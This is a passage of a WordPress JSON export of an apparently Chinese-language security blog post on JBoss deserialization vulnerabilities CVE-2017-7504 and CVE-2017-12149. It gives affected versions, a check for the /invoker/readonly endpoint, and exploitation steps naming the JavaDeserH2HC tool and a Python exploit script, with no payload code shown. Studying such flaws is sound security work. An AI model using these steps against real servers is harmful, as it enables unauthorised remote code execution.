\/>\n<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20250113192941.png\" alt=\"Pasted image 20250113192941.png\"><\/p>\n<h4>4\uff09\u6f0f\u6d1e\u5229\u7528<\/h4>\n<p>JavaDeserH2HC<\/p>\n<pre><code>python CVE-2017-7504.py\n<\/code><\/pre>\n<p>\u548cCVE-2015-7501\u4f7f\u7528\u4e00\u6837<\/p>\n<h3>7. CVE-2017-12149<\/h3>\n<h4>1\uff09\u6f0f\u6d1e\u7b80\u4ecb<\/h4>\n<p>JBOSSApplication Server\u53cd\u5e8f\u5217\u5316\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e(CVE-2017-12149)\uff0c\u8fdc\u7a0b\u653b\u51fb\u8005\u5229\u7528\u6f0f\u6d1e\u53ef\u5728\u672a\u7ecf\u4efb \u4f55\u8eab\u4efd\u9a8c\u8bc1\u7684\u670d\u52a1\u5668\u4e3b\u673a\u4e0a\u6267\u884c\u4efb\u610f\u4ee3\u7801\u3002\u6f0f\u6d1e\u5371\u5bb3\u7a0b\u5ea6\u4e3a\u9ad8\u5371(High)\u3002<br \/>\n\u8be5\u6f0f\u6d1e\u4e3a Java\u53cd\u5e8f\u5217\u5316\u9519\u8bef\u7c7b\u578b\uff0c\u5b58\u5728\u4e8e Jboss\u7684 HttpInvoker\u7ec4\u4ef6\u4e2d\u7684 ReadOnlyAccessFilter\u8fc7 \u6ee4\u5668\u4e2d\u6ca1\u6709\u8fdb\u884c\u4efb\u4f55\u5b89\u5168\u68c0\u67e5\u7684\u60c5\u51b5\u4e0b\u5c1d\u8bd5\u5c06\u6765\u81ea\u5ba2\u6237\u7aef\u7684\u6570\u636e\u6d41\u8fdb\u884c\u53cd\u5e8f\u5217\u5316\uff0c\u4ece\u800c\u5bfc\u81f4\u4e86\u6f0f\u6d1e\u3002<\/p>\n<h4>2\uff09\u5f71\u54cd\u8303\u56f4<\/h4>\n<p>JBoss 5.x &#8211; 6.x<\/p>\n<h4>3\uff09\u6f0f\u6d1e\u53d1\u73b0<\/h4>\n<p>\u8bbf\u95eehttp:\/\/IP\u5730\u5740:\u7aef\u53e3\/invoker\/readonly\uff0c\u82e5\u8fd4\u56de\u5982\u4e0b\u663e\u793a\u72b6\u6001\u7801\u4e3a500\u7684\u62a5\u9519\u754c\u9762,\u5219\u8bc1\u660e\u6f0f\u6d1e \u5b58\u5728<\/p>\n<h4>4\uff09\u6f0f\u6d1e\u5229\u7528<\/h4>\n<p>JavaDeserH2HC<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u4e00\u3001Jboss\u7b80\u4ecb JBoss\u662f\u4e00\u4e2a\u9ad8\u5ea6\u53ef\u6269\u5c55\u7684\u3001\u57fa\u4e8e J2EE\u7684\u5f00\u653e\u6e90\u4ee3\u7801\u7684\u5e94\u7528\u670d\u52a1\u5668 JBoss \u662f\u4e00\u4e2a\u7ba1 [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[51,9],"tags":[],"class_list":["post-1507","post","type-post","status-publish","format-standard","hentry","category-51","category-9"],"_links":{"self":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/1507","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/comments?post=1507"}],"version-history":[{"count":1,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/1507\/revisions"}],"predecessor-version":[{"id":1508,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/1507\/revisions\/1508"}],"wp:attachment":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/media?parent=1507"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/categories?post=1507"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/tags?post=1507"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}